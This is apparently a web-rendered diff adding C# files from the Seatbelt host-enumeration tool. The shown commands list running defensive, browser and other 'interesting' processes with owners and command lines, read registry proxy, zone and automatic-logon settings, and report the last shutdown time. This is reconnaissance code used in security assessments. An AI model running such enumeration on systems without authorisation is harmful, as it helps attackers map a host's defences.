{"cmd" , "Command Prompt"},
|
||||||
|
{"kaseya.agentendpoint.exe", "Command Prompt"},
|
||||||
|
};
|
||||||
|
|
||||||
|
var browserProcesses = new Dictionary<string, string>()
|
||||||
|
{
|
||||||
|
{"chrome" , "Google Chrome"},
|
||||||
|
{"iexplore" , "Microsoft Internet Explorer"},
|
||||||
|
{"microsoftedge" , "Microsoft Edge"},
|
||||||
|
{"firefox" , "Mozilla Firefox"},
|
||||||
|
{"brave" , "Brave Browser"},
|
||||||
|
{"opera" , "Opera Browser"},
|
||||||
|
};
|
||||||
|
|
||||||
|
var wmiData = ThisRunTime.GetManagementObjectSearcher(@"Root\CIMV2", "SELECT * FROM Win32_Process");
|
||||||
|
var retObjectCollection = wmiData.Get();
|
||||||
|
|
||||||
|
foreach (ManagementObject process in retObjectCollection)
|
||||||
|
{
|
||||||
|
var display = false;
|
||||||
|
string? category = null;
|
||||||
|
string? product = null;
|
||||||
|
var processName = ExtensionMethods.TrimEnd(process["Name"].ToString().ToLower(), ".exe");
|
||||||
|
|
||||||
|
if (defensiveProcesses.Keys.OfType<string>().ToList().Contains(processName))
|
||||||
|
{
|
||||||
|
display = true;
|
||||||
|
category = "defensive";
|
||||||
|
product = defensiveProcesses[processName];
|
||||||
|
}
|
||||||
|
else if (browserProcesses.Keys.OfType<string>().ToList().Contains(processName, StringComparer.OrdinalIgnoreCase))
|
||||||
|
{
|
||||||
|
display = true;
|
||||||
|
category = "browser";
|
||||||
|
product = browserProcesses[processName];
|
||||||
|
}
|
||||||
|
else if (interestingProcesses.Keys.OfType<string>().ToList().Contains(processName, StringComparer.OrdinalIgnoreCase))
|
||||||
|
{
|
||||||
|
display = true;
|
||||||
|
category = "interesting";
|
||||||
|
product = interestingProcesses[processName];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!display)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
string? owner = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var ownerInfo = new string[2];
|
||||||
|
|
||||||
|
process.InvokeMethod("GetOwner", (object[]) ownerInfo);
|
||||||
|
|
||||||
|
if (ownerInfo[0] != null)
|
||||||
|
{
|
||||||
|
owner = $"{ownerInfo[1]}\\{ownerInfo[0]}";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (ManagementException e)
|
||||||
|
{
|
||||||
|
WriteError($"Error obtaining owner: {e}");
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new InterestingProcessesDTO(
|
||||||
|
category,
|
||||||
|
process["Name"].ToString(),
|
||||||
|
product,
|
||||||
|
(uint)process["ProcessID"],
|
||||||
|
owner,
|
||||||
|
process["CommandLine"]?.ToString()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class InterestingProcessesDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public InterestingProcessesDTO(string? category, string name, string? product, uint processId, string? owner, string? commandLine)
|
||||||
|
{
|
||||||
|
Category = category;
|
||||||
|
Name = name;
|
||||||
|
Product = product;
|
||||||
|
ProcessID = processId;
|
||||||
|
Owner = owner;
|
||||||
|
CommandLine = commandLine;
|
||||||
|
}
|
||||||
|
public string? Category { get; } // "defensive", "browser", or "interesting
|
||||||
|
|
||||||
|
public string Name { get; }
|
||||||
|
|
||||||
|
public string? Product { get; }
|
||||||
|
|
||||||
|
public uint ProcessID { get; }
|
||||||
|
|
||||||
|
public string? Owner { get; }
|
||||||
|
|
||||||
|
public string? CommandLine { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(InterestingProcessesDTO))]
|
||||||
|
internal class InterestingProcessesFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public InterestingProcessesFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (InterestingProcessesDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" Category : {0}", dto.Category);
|
||||||
|
WriteLine(" Name : {0}", dto.Name);
|
||||||
|
WriteLine(" Product : {0}", dto.Product);
|
||||||
|
WriteLine(" ProcessID : {0}", dto.ProcessID);
|
||||||
|
WriteLine(" Owner : {0}", dto.Owner);
|
||||||
|
WriteLine(" CommandLine : {0}\n", dto.CommandLine);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,198 @@
|
||||||
|
#nullable disable
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class InternetSettingsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "InternetSettings";
|
||||||
|
public override string Description => "Internet settings including proxy configs and zones configuration";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System };
|
||||||
|
public override bool SupportRemote => false; // TODO remote
|
||||||
|
|
||||||
|
public InternetSettingsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var result = new InternetSettingsDTO();
|
||||||
|
|
||||||
|
// lists user/system internet settings, including default proxy info
|
||||||
|
var keyPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings";
|
||||||
|
var proxySettings = RegistryUtil.GetValues(RegistryHive.CurrentUser, keyPath);
|
||||||
|
foreach (var kvp in proxySettings)
|
||||||
|
{
|
||||||
|
result.GeneralSettings.Add(new InternetSettingsKey(
|
||||||
|
"HKCU",
|
||||||
|
keyPath,
|
||||||
|
kvp.Key,
|
||||||
|
kvp.Value.ToString(),
|
||||||
|
null));
|
||||||
|
}
|
||||||
|
|
||||||
|
keyPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings";
|
||||||
|
var proxySettings2 = RegistryUtil.GetValues(RegistryHive.LocalMachine, keyPath);
|
||||||
|
foreach (var kvp in proxySettings2)
|
||||||
|
{
|
||||||
|
result.GeneralSettings.Add(new InternetSettingsKey(
|
||||||
|
"HKLM",
|
||||||
|
keyPath,
|
||||||
|
kvp.Key,
|
||||||
|
kvp.Value.ToString(),
|
||||||
|
null));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// List user/system internet settings for zonemapkey (local, trusted, etc.) :
|
||||||
|
// 1 = Intranet zone – sites on your local network.
|
||||||
|
// 2 = Trusted Sites zone – sites that have been added to your trusted sites.
|
||||||
|
// 3 = Internet zone – sites that are on the Internet.
|
||||||
|
// 4 = Restricted Sites zone – sites that have been specifically added to your restricted sites.
|
||||||
|
|
||||||
|
|
||||||
|
IDictionary<string, string> zoneMapKeys = new Dictionary<string, string>()
|
||||||
|
{
|
||||||
|
{"0", "My Computer" },
|
||||||
|
{"1", "Local Intranet Zone"},
|
||||||
|
{"2", "Trusted Sites Zone"},
|
||||||
|
{"3", "Internet Zone"},
|
||||||
|
{"4", "Restricted Sites Zone"}
|
||||||
|
};
|
||||||
|
|
||||||
|
keyPath = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey";
|
||||||
|
var zoneMapKey = RegistryUtil.GetValues(RegistryHive.LocalMachine, keyPath);
|
||||||
|
foreach (var kvp in zoneMapKey.AsEnumerable())
|
||||||
|
{
|
||||||
|
result.ZoneMaps.Add(new InternetSettingsKey(
|
||||||
|
"HKLM",
|
||||||
|
keyPath,
|
||||||
|
kvp.Key,
|
||||||
|
kvp.Value.ToString(),
|
||||||
|
zoneMapKeys.AsEnumerable().Single(l => l.Key == kvp.Value.ToString()).Value
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
var zoneMapKey2 = RegistryUtil.GetValues(RegistryHive.CurrentUser, keyPath);
|
||||||
|
foreach (var kvp in zoneMapKey2.AsQueryable())
|
||||||
|
{
|
||||||
|
result.ZoneMaps.Add(new InternetSettingsKey(
|
||||||
|
"HKCU",
|
||||||
|
keyPath,
|
||||||
|
kvp.Key,
|
||||||
|
kvp.Value.ToString(),
|
||||||
|
zoneMapKeys.AsEnumerable().Single(l => l.Key == kvp.Value.ToString()).Value
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// List Zones settings with automatic logons
|
||||||
|
|
||||||
|
/**
|
||||||
|
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\{0..4}\1A00
|
||||||
|
* Logon setting (1A00) may have any one of the following values (hexadecimal):
|
||||||
|
* Value Setting
|
||||||
|
* ---------------------------------------------------------------
|
||||||
|
* 0x00000000 Automatically logon with current username and password
|
||||||
|
* 0x00010000 Prompt for user name and password
|
||||||
|
* 0x00020000 Automatic logon only in the Intranet zone
|
||||||
|
* 0x00030000 Anonymous logon
|
||||||
|
**/
|
||||||
|
|
||||||
|
IDictionary<uint, string> zoneAuthSettings = new Dictionary<uint, string>()
|
||||||
|
{
|
||||||
|
{0x00000000, "Automatically logon with current username and password"},
|
||||||
|
{0x00010000, "Prompt for user name and password"},
|
||||||
|
{0x00020000, "Automatic logon only in the Intranet zone"},
|
||||||
|
{0x00030000, "Anonymous logon"}
|
||||||
|
};
|
||||||
|
|
||||||
|
for (int i = 0; i <= 4; i++)
|
||||||
|
{
|
||||||
|
keyPath = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\" + i;
|
||||||
|
var authSetting = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, keyPath, "1A00");
|
||||||
|
if (authSetting != null)
|
||||||
|
{
|
||||||
|
var zone = zoneMapKeys.AsEnumerable().Single(l => l.Key == i.ToString()).Value;
|
||||||
|
var authSettingStr = zoneAuthSettings.AsEnumerable().Single(l => l.Key == authSetting).Value;
|
||||||
|
|
||||||
|
result.ZoneAuthSettings.Add(new InternetSettingsKey(
|
||||||
|
"HKLM",
|
||||||
|
keyPath,
|
||||||
|
"1A00",
|
||||||
|
authSetting.ToString(),
|
||||||
|
$"{zone} : {authSettingStr}"
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class InternetSettingsKey
|
||||||
|
{
|
||||||
|
public InternetSettingsKey(string hive, string path, string valueName, string value, string? interpretation)
|
||||||
|
{
|
||||||
|
Hive = hive;
|
||||||
|
Path = path;
|
||||||
|
ValueName = valueName;
|
||||||
|
Value = value;
|
||||||
|
Interpretation = interpretation;
|
||||||
|
}
|
||||||
|
public string Hive { get; }
|
||||||
|
public string Path { get; }
|
||||||
|
public string ValueName { get; }
|
||||||
|
public string Value { get; }
|
||||||
|
public string? Interpretation { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class InternetSettingsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public List<InternetSettingsKey> GeneralSettings { get; set; } = new List<InternetSettingsKey>();
|
||||||
|
public List<InternetSettingsKey> ZoneMaps { get; set; } = new List<InternetSettingsKey>();
|
||||||
|
public List<InternetSettingsKey> ZoneAuthSettings { get; set; } = new List<InternetSettingsKey>();
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(InternetSettingsDTO))]
|
||||||
|
internal class InternetSettingsFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public InternetSettingsFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (InternetSettingsDTO)result;
|
||||||
|
|
||||||
|
WriteLine("General Settings");
|
||||||
|
WriteLine(" {0} {1,30} : {2}\n", "Hive", "Key", "Value");
|
||||||
|
foreach (var i in dto.GeneralSettings)
|
||||||
|
{
|
||||||
|
WriteLine(" {0} {1,30} : {2}", "HKCU", i.ValueName, i.Value);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine("\nURLs by Zone");
|
||||||
|
|
||||||
|
if(dto.ZoneMaps.Count == 0)
|
||||||
|
WriteLine(" No URLs configured");
|
||||||
|
|
||||||
|
foreach (var i in dto.ZoneMaps)
|
||||||
|
{
|
||||||
|
WriteLine(" {0} {1,-30} : {2}", i.Hive, i.ValueName, i.Interpretation);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine("\nZone Auth Settings");
|
||||||
|
foreach (var i in dto.ZoneAuthSettings)
|
||||||
|
{
|
||||||
|
WriteLine($" {i.Interpretation}");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,41 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Microsoft.Win32;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class LastShutdownCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "LastShutdown";
|
||||||
|
public override string Description => "Returns the DateTime of the last system shutdown (via the registry).";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public LastShutdownCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var shutdownBytes = ThisRunTime.GetBinaryValue(RegistryHive.LocalMachine, "SYSTEM\\ControlSet001\\Control\\Windows", "ShutdownTime");
|
||||||
|
if (shutdownBytes != null)
|
||||||
|
{
|
||||||
|
var shutdownInt = BitConverter.ToInt64(shutdownBytes, 0);
|
||||||
|
var shutdownTime = DateTime.FromFileTime(shutdownInt);
|
||||||
|
|
||||||
|
yield return new LastShutdownDTO()
|
||||||
|
{
|
||||||
|
LastShutdown = shutdownTime
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class LastShutdownDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public DateTime LastShutdown { get; set; }
|
||||||
|
}
|
||||||
|
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue